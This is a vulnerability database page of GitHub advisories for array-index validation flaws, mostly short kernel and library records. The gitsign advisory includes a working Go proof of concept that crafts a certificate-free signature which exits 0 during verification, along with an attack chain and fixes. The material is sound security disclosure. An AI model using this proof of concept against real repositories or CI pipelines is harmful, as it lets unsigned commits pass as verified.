Common Weakness Enumeration

CWE-129

Allowed

Improper Validation of Array Index

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.

748 vulnerabilities reference this CWE, most recent first.

GHSA-6VH6-MCX4-3WX2

Vulnerability from github – Published: 2025-09-18 15:30 – Updated: 2025-12-12 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

ACPICA: Add AML_NO_OPERAND_RESOLVE flag to Timer

ACPICA commit 90310989a0790032f5a0140741ff09b545af4bc5

According to the ACPI specification 19.6.134, no argument is required to be passed for ASL Timer instruction. For taking care of no argument, AML_NO_OPERAND_RESOLVE flag is added to ASL Timer instruction opcode.

When ASL timer instruction interpreted by ACPI interpreter, getting error. After adding AML_NO_OPERAND_RESOLVE flag to ASL Timer instruction opcode, issue is not observed.

============================================================= UBSAN: array-index-out-of-bounds in acpica/dswexec.c:401:12 index -1 is out of range for type 'union acpi_operand_object *[9]' CPU: 37 PID: 1678 Comm: cat Not tainted 6.0.0-dev-th500-6.0.y-1+bcf8c46459e407-generic-64k HW name: NVIDIA BIOS v1.1.1-d7acbfc-dirty 12/19/2022 Call trace: dump_backtrace+0xe0/0x130 show_stack+0x20/0x60 dump_stack_lvl+0x68/0x84 dump_stack+0x18/0x34 ubsan_epilogue+0x10/0x50 __ubsan_handle_out_of_bounds+0x80/0x90 acpi_ds_exec_end_op+0x1bc/0x6d8 acpi_ps_parse_loop+0x57c/0x618 acpi_ps_parse_aml+0x1e0/0x4b4 acpi_ps_execute_method+0x24c/0x2b8 acpi_ns_evaluate+0x3a8/0x4bc acpi_evaluate_object+0x15c/0x37c acpi_evaluate_integer+0x54/0x15c show_power+0x8c/0x12c [acpi_power_meter]

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-53395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-18T14:15:42Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPICA: Add AML_NO_OPERAND_RESOLVE flag to Timer\n\nACPICA commit 90310989a0790032f5a0140741ff09b545af4bc5\n\nAccording to the ACPI specification 19.6.134, no argument is required to be passed for ASL Timer instruction. For taking care of no argument, AML_NO_OPERAND_RESOLVE flag is added to ASL Timer instruction opcode.\n\nWhen ASL timer instruction interpreted by ACPI interpreter, getting error. After adding AML_NO_OPERAND_RESOLVE flag to ASL Timer instruction opcode, issue is not observed.\n\n=============================================================\nUBSAN: array-index-out-of-bounds in acpica/dswexec.c:401:12 index -1 is out of range for type \u0027union acpi_operand_object *[9]\u0027\nCPU: 37 PID: 1678 Comm: cat Not tainted\n6.0.0-dev-th500-6.0.y-1+bcf8c46459e407-generic-64k\nHW name: NVIDIA BIOS v1.1.1-d7acbfc-dirty 12/19/2022 Call trace:\n dump_backtrace+0xe0/0x130\n show_stack+0x20/0x60\n dump_stack_lvl+0x68/0x84\n dump_stack+0x18/0x34\n ubsan_epilogue+0x10/0x50\n __ubsan_handle_out_of_bounds+0x80/0x90\n acpi_ds_exec_end_op+0x1bc/0x6d8\n acpi_ps_parse_loop+0x57c/0x618\n acpi_ps_parse_aml+0x1e0/0x4b4\n acpi_ps_execute_method+0x24c/0x2b8\n acpi_ns_evaluate+0x3a8/0x4bc\n acpi_evaluate_object+0x15c/0x37c\n acpi_evaluate_integer+0x54/0x15c\n show_power+0x8c/0x12c [acpi_power_meter]",
  "id": "GHSA-6vh6-mcx4-3wx2",
  "modified": "2025-12-12T21:31:31Z",
  "published": "2025-09-18T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53395"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/23c67fa615c52712bfa02a6dfadbd4656c87c066"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2f2a5905303ae230b5159fcd8cdcd5b3e7ad5e2d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3a21ffdbc825e0919db9da0e27ee5ff2cc8a863e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3bf4463e40a17a23f2f261dfd7fe23129bdd04a4"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/430787056dd3c591eb553d5c3b2717efcf307d4e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/625c12dc04a607b79f180ef3ee5a12bf2e3324c0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b102113469487b460e9e77fe9e00d49c50fe8c86"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e1f686930ee4b059c7baa3c3904b2401829f2589"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6W85-2W93-MRPR

Vulnerability from github – Published: 2024-06-19 15:30 – Updated: 2026-05-12 12:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

speakup: Fix sizeof() vs ARRAY_SIZE() bug

The "buf" pointer is an array of u16 values. This code should be using ARRAY_SIZE() (which is 256) instead of sizeof() (which is 512), otherwise it can the still got out of bounds.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-38587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-19T14:15:18Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nspeakup: Fix sizeof() vs ARRAY_SIZE() bug\n\nThe \"buf\" pointer is an array of u16 values.  This code should be\nusing ARRAY_SIZE() (which is 256) instead of sizeof() (which is 512),\notherwise it can the still got out of bounds.",
  "id": "GHSA-6w85-2w93-mrpr",
  "modified": "2026-05-12T12:31:55Z",
  "published": "2024-06-19T15:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38587"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/008ab3c53bc4f0b2f20013c8f6c204a3203d0b8b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/07ef95cc7a579731198c93beed281e3a79a0e586"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3726f75a1ccc16cd335c0ccfad1d92ee08ecba5e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/42f0a3f67158ed6b2908d2b9ffbf7e96d23fd358"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/504178fb7d9f6cdb0496d5491efb05f45597e535"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c6e1650cf5df1bd6638eeee231a683ef30c7d4eb"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cd7f3978c2ec741aedd1d860b2adb227314cf996"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d52c04474feac8e305814a5228e622afe481b2ef"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/eb1ea64328d4cc7d7a912c563f8523d5259716ef"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-739F-9QHV-6594

Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37
VLAI
Details

In x/text in Go 1.15.4, an "index out of range" panic occurs in language.ParseAcceptLanguage while parsing the -u- extension. (x/text/language is supposed to be able to parse an HTTP Accept-Language header.)

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-28851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-02T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "In x/text in Go 1.15.4, an \"index out of range\" panic occurs in language.ParseAcceptLanguage while parsing the -u- extension. (x/text/language is supposed to be able to parse an HTTP Accept-Language header.)",
  "id": "GHSA-739f-9qhv-6594",
  "modified": "2022-05-24T17:37:38Z",
  "published": "2022-05-24T17:37:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28851"
    },
    {
      "type": "WEB",
      "url": "https://github.com/golang/go/issues/42535"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210212-0004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-73CP-C5VJ-9J5J

Vulnerability from github – Published: 2022-04-19 00:00 – Updated: 2022-04-24 00:00
VLAI
Details

Multiple code execution vulnerabilities exists in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could lead to code execution. An attacker can provide malicious input to trigger any of these vulnerabilities. An oob read vulnerability exists in Nef_S2/SNC_io_parser.h SNC_io_parser::read_volume() seh->twin().

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-28628"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125",
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-18T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple code execution vulnerabilities exists in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could lead to code execution. An attacker can provide malicious input to trigger any of these vulnerabilities. An oob read vulnerability exists in Nef_S2/SNC_io_parser.h SNC_io_parser\u003cEW\u003e::read_volume() seh-\u003etwin().",
  "id": "GHSA-73cp-c5vj-9j5j",
  "modified": "2022-04-24T00:00:29Z",
  "published": "2022-04-19T00:00:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28628"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/12/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-34"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2020-1225"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7798-4JQ3-CMJ5

Vulnerability from github – Published: 2022-05-24 17:06 – Updated: 2024-04-04 02:46
VLAI
Details

Array index error in smal_decode_segment function in LibRaw before 0.17.1 allows context-dependent attackers to cause memory errors and possibly execute arbitrary code via vectors related to indexes.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2015-8366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-01-14T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Array index error in smal_decode_segment function in LibRaw before 0.17.1 allows context-dependent attackers to cause memory errors and possibly execute arbitrary code via vectors related to indexes.",
  "id": "GHSA-7798-4jq3-cmj5",
  "modified": "2024-04-04T02:46:22Z",
  "published": "2022-05-24T17:06:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8366"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/134573/LibRaw-0.17-Overflow.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2015/Nov/108"
    },
    {
      "type": "WEB",
      "url": "http://www.libraw.org/news/libraw-0-17-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-77Q3-374V-8GP2

Vulnerability from github – Published: 2026-05-01 15:30 – Updated: 2026-05-07 18:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

usb: typec: ucsi: validate connector number in ucsi_notify_common()

The connector number extracted from CCI via UCSI_CCI_CONNECTOR() is a 7-bit field (0-127) that is used to index into the connector array in ucsi_connector_change(). However, the array is only allocated for the number of connectors reported by the device (typically 2-4 entries).

A malicious or malfunctioning device could report an out-of-range connector number in the CCI, causing an out-of-bounds array access in ucsi_connector_change().

Add a bounds check in ucsi_notify_common(), the central point where CCI is parsed after arriving from hardware, so that bogus connector numbers are rejected before they propagate further.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-31729"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-01T15:16:35Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: typec: ucsi: validate connector number in ucsi_notify_common()\n\nThe connector number extracted from CCI via UCSI_CCI_CONNECTOR() is a\n7-bit field (0-127) that is used to index into the connector array in\nucsi_connector_change(). However, the array is only allocated for the\nnumber of connectors reported by the device (typically 2-4 entries).\n\nA malicious or malfunctioning device could report an out-of-range\nconnector number in the CCI, causing an out-of-bounds array access in\nucsi_connector_change().\n\nAdd a bounds check in ucsi_notify_common(), the central point where CCI\nis parsed after arriving from hardware, so that bogus connector numbers\nare rejected before they propagate further.",
  "id": "GHSA-77q3-374v-8gp2",
  "modified": "2026-05-07T18:30:34Z",
  "published": "2026-05-01T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31729"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/98429e9ec89a5e3a204112dfaa2dbe6ca28493a0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d2d8c17ac01a1b1f638ea5d340a884ccc5015186"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f4e608fe12b7ac6a4a57176ab0296bb5a110a078"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f6dcbf2b024d55549959402f1db6c614e51d52cb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79XC-34G5-49P2

Vulnerability from github – Published: 2024-04-03 18:30 – Updated: 2025-02-28 00:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

fs/ntfs3: Fix oob in ntfs_listxattr

The length of name cannot exceed the space occupied by ea.

Severity
7.1 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-52640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-03T17:15:47Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/ntfs3: Fix oob in ntfs_listxattr\n\nThe length of name cannot exceed the space occupied by ea.",
  "id": "GHSA-79xc-34g5-49p2",
  "modified": "2025-02-28T00:30:51Z",
  "published": "2024-04-03T18:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52640"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0830c5cf19bdec50d0ede4755ddc463663deb21c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/52fff5799e3d1b5803ecd2f5f19c13c65f4f7b23"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6ed6cdbe88334ca3430c5aee7754dc4597498dfb"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/731ab1f9828800df871c5a7ab9ffe965317d3f15"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a585faf0591548fe0920641950ebfa8a6eefe1cd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7C37-GX6W-8VC5

Vulnerability from github – Published: 2026-05-08 17:37 – Updated: 2026-05-15 23:49
VLAI
Summary
gitsign --verify panics on empty-certificate PKCS7 and exits 0, bypassing exit-code callers
Details

Summary

CertVerifier.Verify() in pkg/git/verifier.go unconditionally dereferences certs[0] after sd.GetCertificates() without checking the slice length. A CMS/PKCS7 signed message with an empty certificate set is a structurally valid DER payload; GetCertificates() returns an empty slice with no error, causing an immediate index-out-of-range panic. On the gitsign --verify code path (the GPG-compatible mode invoked by git verify-commit), the panic is silently recovered by internal/io/streams.go's Wrap() function, which returns nil instead of an error. main.go then exits with code 0, causing exit-code-only verification callers to interpret the failed verification as success.

Severity

Medium (CVSS 3.1: 5.8)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

  • Attack Vector: Network — attacker pushes a commit carrying a crafted signature to any accessible repository, or delivers the signature file out-of-band
  • Attack Complexity: Low — stripping certificates from a PKCS7 object requires only standard ASN.1 tooling
  • Privileges Required: None — writing to an accessible repo (or creating a repo a victim clones) is sufficient
  • User Interaction: Required — victim must run git verify-commit, gitsign --verify, or an equivalent verification step
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low — exit-code-only callers (scripts, some CI pipelines) treat the panicked verification as success; git's own status-fd path checks for GOODSIG and is therefore partially protected
  • Availability Impact: Low — the verification process aborts via panic on every invocation with such a signature

Affected Component

  • pkg/git/verifier.go — (*CertVerifier).Verify (line 114)
  • internal/io/streams.go — (*Streams).Wrap (lines 71–84, the recovery that returns nil on panic)

CWE

  • CWE-129: Improper Validation of Array Index
  • CWE-390: Detection of Error Condition Without Action Taken (panic swallowed, nil returned)

Description

Unconditional index dereference after GetCertificates

CertVerifier.Verify() parses the incoming signature as CMS/PKCS7 and calls GetCertificates() to extract the signer's certificate before any signature math takes place:

// pkg/git/verifier.go:109–114
certs, err := sd.GetCertificates()
if err != nil {
    return nil, fmt.Errorf("error getting signature certs: %w", err)
}
cert := certs[0]   // panic: index out of range if certs is empty

GetCertificates() delegates to sd.psd.X509Certificates() (the upstream smimesign/ietf-cms library). RFC 5652 §5.1 marks the certificates field in SignedData as OPTIONAL, and an empty or absent set is a structurally valid CMS message. The library returns (nil, nil) or ([]*, nil) for such a message — an empty slice with no error — so the length check on err is irrelevant:

// internal/fork/ietf-cms/signed_data.go:53–55
func (sd *SignedData) GetCertificates() ([]*x509.Certificate, error) {
    return sd.psd.X509Certificates()   // returns ([], nil) for empty cert set
}

There is no length guard anywhere between GetCertificates() and the certs[0] dereference.

Panic recovery silently returns exit 0

All root-command invocations (including gitsign --verify, which git calls for verify-commit) are wrapped by (*Streams).Wrap:

// internal/commands/root/root.go:69–95
RunE: func(cmd *cobra.Command, args []string) error {
    s := io.New(o.Config.LogPath)
    defer s.Close()
    return s.Wrap(func() error {     // panic recovery is here
        ...
        case o.FlagVerify:
            return commandVerify(o, s, args...)
        ...
    })
},

Wrap uses a bare recover() inside a defer:

// internal/io/streams.go:71–84
func (s *Streams) Wrap(fn func() error) error {
    defer func() {
        if r := recover(); r != nil {
            fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))
            // ← no named return, no assignment; Wrap returns nil
        }
    }()
    if err := fn(); err != nil {
        fmt.Fprintln(s.TTYOut, err)
        return err
    }
    return nil
}

In Go, a recover() in a defer does not modify the enclosing function's return value unless named returns are used. When fn() panics, the defer fires, prints the panic message and stack trace to TTYOut, and then Wrap returns the zero value for error — which is nil.

main.go then sees nil from rootCmd.Execute() and exits 0:

// main.go:37–39
if err := rootCmd.Execute(); err != nil {
    os.Exit(1)   // NOT reached
}
// process falls through → exit 0

GPG status-fd provides partial protection for git verify-commit

git verify-commit passes --status-fd=1 to gitsign. The GPG status protocol requires GOODSIG in the status output for git to treat the signature as valid. In commandVerify, EmitGoodSig is only called after v.Verify() succeeds:

// internal/commands/root/verify.go:49–90
gpgout.Emit(gpg.StatusNewSig)          // written before verification

summary, err := v.Verify(ctx, data, sig, true)  // PANIC here
// lines below never reached:
gpgout.EmitGoodSig(summary.Cert)
gpgout.EmitTrustFully()

Because the panic fires inside v.Verify(), only NEWSIG (not GOODSIG) is written to the status-fd. Modern git reads this output and still considers the commit unverified. However, scripts and CI tools that check only the exit code of gitsign --verify see exit 0 and consider verification successful.

Execution chain to impact

  1. Attacker strips all certificates from a valid gitsign PKCS7 signature using sd.SetCertificates([]*x509.Certificate{}) and re-serializes the message.
  2. Attacker attaches this certificate-free signature as the gpgsig field of a commit and pushes it to an accessible repository (or delivers the .pem file directly).
  3. Victim runs gitsign --verify <sig> <data> or git verify-commit <commit> (which internally invokes gitsign --verify).
  4. CertVerifier.Verify() panics at certs[0] with index out of range [0] with length 0.
  5. Wrap() recovers the panic and returns nil; process exits 0.
  6. Any caller that checks only the exit code considers verification successful.

Proof of Concept

// make_bad_sig.go — run from repo root: go run ./make_bad_sig.go
// Then: go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo "exit: $?"
package main

import (
    "crypto/x509"
    "encoding/pem"
    "fmt"
    "io"
    "os"

    "github.com/go-git/go-git/v5/plumbing"
    "github.com/go-git/go-git/v5/plumbing/object"
    "github.com/go-git/go-git/v5/storage/memory"
    cms "github.com/sigstore/gitsign/internal/fork/ietf-cms"
)

func main() {
    raw, err := os.ReadFile("internal/e2e/testdata/offline.commit")
    if err != nil {
        panic(err)
    }

    st := memory.NewStorage()
    obj := st.NewEncodedObject()
    obj.SetType(plumbing.CommitObject)
    w, _ := obj.Writer()
    _, _ = w.Write(raw)
    _ = w.Close()

    c, err := object.DecodeCommit(st, obj)
    if err != nil {
        panic(err)
    }

    blk, _ := pem.Decode([]byte(c.PGPSignature))
    if blk == nil {
        panic("no pem block in commit signature")
    }

    sd, err := cms.ParseSignedData(blk.Bytes)
    if err != nil {
        panic(err)
    }

    // Strip all certificates from the SignedData
    if err := sd.SetCertificates([]*x509.Certificate{}); err != nil {
        panic(err)
    }

    der, err := sd.ToDER()
    if err != nil {
        panic(err)
    }

    badSig := pem.EncodeToMemory(&pem.Block{Type: "SIGNED MESSAGE", Bytes: der})

    mo := new(plumbing.MemoryObject)
    _ = c.EncodeWithoutSignature(mo)
    r, _ := mo.Reader()
    data, _ := io.ReadAll(r)

    _ = os.WriteFile("/tmp/gitsign-badsig.pem", badSig, 0644)
    _ = os.WriteFile("/tmp/gitsign-data.bin", data, 0644)
    fmt.Println("Wrote /tmp/gitsign-badsig.pem and /tmp/gitsign-data.bin")
}

Expected output after go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo "exit: $?":

runtime error: index out of range [0] with length 0
goroutine 1 [running]:
runtime/debug.Stack(...)
...
github.com/sigstore/gitsign/pkg/git.(*CertVerifier).Verify(...)
    pkg/git/verifier.go:114 +0x...
...
exit: 0        ← process exits 0 despite verification failure

Impact

  • Authentication bypass for exit-code callers: Any script or CI pipeline running gitsign --verify and checking only $? will treat the panicked verification as a success (exit 0). This allows an attacker to make a commit appear verified without a valid signature.
  • Denial of service: Every verification attempt against a crafted signature panics, preventing legitimate verification output from being produced.
  • Misleading output: The panic stack trace is written to TTYOut (stderr in non-TTY environments), which may be silently discarded by callers that redirect stderr.
  • Partial bypass of git verify-commit: git itself is protected by the GOODSIG check on the status-fd; however, the exit-code bypass affects auxiliary tooling that wraps gitsign --verify directly.

Recommended Remediation

Option 1: Guard the slice access (preferred — lowest layer, protects all callers)

Add an explicit length check in CertVerifier.Verify() immediately after GetCertificates():

// pkg/git/verifier.go — replace lines 110–114
certs, err := sd.GetCertificates()
if err != nil {
    return nil, fmt.Errorf("error getting signature certs: %w", err)
}
if len(certs) == 0 {
    return nil, fmt.Errorf("no certificates found in signature")
}
cert := certs[0]

This produces a clean error at the source instead of a panic, propagated through commandVerify as a non-nil return, so Wrap returns it, Execute() returns it, and main.go exits 1.

Option 2: Return an error instead of nil on panic recovery

Fix Wrap() to return an error when it recovers a panic, so that all callers reliably see a non-zero exit code:

// internal/io/streams.go — replace Wrap with named return
func (s *Streams) Wrap(fn func() error) (retErr error) {
    defer func() {
        if r := recover(); r != nil {
            fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))
            retErr = fmt.Errorf("panic: %v", r)   // propagate as error
        }
    }()
    if err := fn(); err != nil {
        fmt.Fprintln(s.TTYOut, err)
        return err
    }
    return nil
}

This is a defense-in-depth fix. It ensures that any future panic in a command results in exit 1 rather than 0. Option 1 should be applied regardless; Option 2 prevents similar bypass bugs from any other panic source.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sigstore/gitsign"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "0.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129",
      "CWE-390"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T17:37:45Z",
    "nvd_published_at": "2026-05-15T17:16:47Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`CertVerifier.Verify()` in `pkg/git/verifier.go` unconditionally dereferences `certs[0]` after `sd.GetCertificates()` without checking the slice length. A CMS/PKCS7 signed message with an empty certificate set is a structurally valid DER payload; `GetCertificates()` returns an empty slice with no error, causing an immediate index-out-of-range panic. On the `gitsign --verify` code path (the GPG-compatible mode invoked by `git verify-commit`), the panic is silently recovered by `internal/io/streams.go`\u0027s `Wrap()` function, which returns `nil` instead of an error. `main.go` then exits with code 0, causing exit-code-only verification callers to interpret the failed verification as success.\n\n## Severity\n\n**Medium** (CVSS 3.1: 5.8)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L`\n\n- **Attack Vector:** Network \u2014 attacker pushes a commit carrying a crafted signature to any accessible repository, or delivers the signature file out-of-band\n- **Attack Complexity:** Low \u2014 stripping certificates from a PKCS7 object requires only standard ASN.1 tooling\n- **Privileges Required:** None \u2014 writing to an accessible repo (or creating a repo a victim clones) is sufficient\n- **User Interaction:** Required \u2014 victim must run `git verify-commit`, `gitsign --verify`, or an equivalent verification step\n- **Scope:** Unchanged\n- **Confidentiality Impact:** None\n- **Integrity Impact:** Low \u2014 exit-code-only callers (scripts, some CI pipelines) treat the panicked verification as success; git\u0027s own status-fd path checks for `GOODSIG` and is therefore partially protected\n- **Availability Impact:** Low \u2014 the verification process aborts via panic on every invocation with such a signature\n\n## Affected Component\n\n- `pkg/git/verifier.go` \u2014 `(*CertVerifier).Verify` (line 114)\n- `internal/io/streams.go` \u2014 `(*Streams).Wrap` (lines 71\u201384, the recovery that returns nil on panic)\n\n## CWE\n\n- **CWE-129**: Improper Validation of Array Index\n- **CWE-390**: Detection of Error Condition Without Action Taken (panic swallowed, nil returned)\n\n## Description\n\n### Unconditional index dereference after GetCertificates\n\n`CertVerifier.Verify()` parses the incoming signature as CMS/PKCS7 and calls `GetCertificates()` to extract the signer\u0027s certificate before any signature math takes place:\n\n```go\n// pkg/git/verifier.go:109\u2013114\ncerts, err := sd.GetCertificates()\nif err != nil {\n    return nil, fmt.Errorf(\"error getting signature certs: %w\", err)\n}\ncert := certs[0]   // panic: index out of range if certs is empty\n```\n\n`GetCertificates()` delegates to `sd.psd.X509Certificates()` (the upstream `smimesign/ietf-cms` library). RFC 5652 \u00a75.1 marks the `certificates` field in `SignedData` as `OPTIONAL`, and an empty or absent set is a structurally valid CMS message. The library returns `(nil, nil)` or `([]*, nil)` for such a message \u2014 an empty slice with no error \u2014 so the length check on `err` is irrelevant:\n\n```go\n// internal/fork/ietf-cms/signed_data.go:53\u201355\nfunc (sd *SignedData) GetCertificates() ([]*x509.Certificate, error) {\n    return sd.psd.X509Certificates()   // returns ([], nil) for empty cert set\n}\n```\n\nThere is no length guard anywhere between `GetCertificates()` and the `certs[0]` 